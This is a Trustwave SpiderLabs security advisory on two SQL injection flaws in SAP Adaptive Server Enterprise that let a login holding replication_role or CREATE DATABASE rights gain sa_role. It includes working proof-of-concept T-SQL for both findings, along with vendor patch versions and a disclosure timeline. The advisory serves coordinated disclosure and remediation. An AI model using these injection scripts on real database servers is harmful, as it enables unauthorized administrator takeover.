Trustwave SpiderLabs Security Advisory TWSL2015-003:
Multiple Vulnerabilities in SAP Adaptive Server Enterprise

Published: 03/19/2015
Version: 1.0

Vendor: SAP (www.sap.com)
Product: SAP Adaptive Server Enterprise (ASE)
Version affected: 15.0.3, 15.5, 15.7, 16.0

Product description:
Relational database management system for UNIX, Linux, and Microsoft
Windows platforms.

Finding 1: SAP Adaptive Server Enterprise privilege escalation via SQL injection in replication support code
Credit: Martin Rakhmanov of Trustwave SpiderLabs
CVE: CVE-2014-6285
CWE: 89

SAP Adaptive Server Enterprise (ASE) replication support infrastructure has
implementation flow that allows logins granted 'replication_role' inject
SQL code that will be executed without any security checks.  Database
owners can also exploit this issue without the 'replication_role' granted.

Please see enclosed proof-of-concept code that elevates privileges for login granted 
'replication_role' to 'sa_role':

-- run as 'demologin' who holds 'replication_role'
use tempdb
go
create table mpl (id int primary key, val text)
go
exec sp_setreptable mpl, true, owner_on, use_index
go
set quoted_identifier on
go
declare @index_name varchar(200)
select @index_name = 'mpl.repl_' + cast(object_id('mpl') as varchar(100)) + '_250'
exec sp_rename @index_name, '"A"grant role sa_role to demologin--"', 'index'
go
sp_setreptable mpl, false
go
drop table mpl
go
sp_displayroles
go

Finding 2: SAP Adaptive Server Enterprise privilege escalation via SQL injection in dbcc createws command
Credit: Martin Rakhmanov of Trustwave SpiderLabs
CVE: CVE-2014-6286
CWE: 89

SAP ASE dbcc createws command has implementation flow that allows
users granted CREATE DATABASE privilege inject SQL code that will be
executed without any security checks.

Please see enclosed proof-of-concept code that elevates privileges for user granted 
CREATE DATABASE privilege to 'sa_role':

-- run as 'demologin' who can create databases
create database dbccdb
go
dbcc createws(dbccdb, 'x', 'b(id int) grant role sa_role to demologin--', scan, 48)
go

Remediation Steps:
Apply one of these following vendor supplied patches:
SAP ASE 16.0 GA PL05
SAP ASE 15.7 SP130
SAP ASE 15.5 ESD#5.4
SAP ASE 15.0.3 ESD#4.4


Revision History:
06/24/2014 - Finding 1 disclosed to vendor
07/03/2014 - Finding 2 disclosed to vendor
01/13/2015 - Patch released by vendor
03/19/2015 - Advisory published

References
1. https://websmp130.sap-ag.de/sap/support/notes/2113333
2. http://scn.sap.com/docs/DOC-8218


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About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

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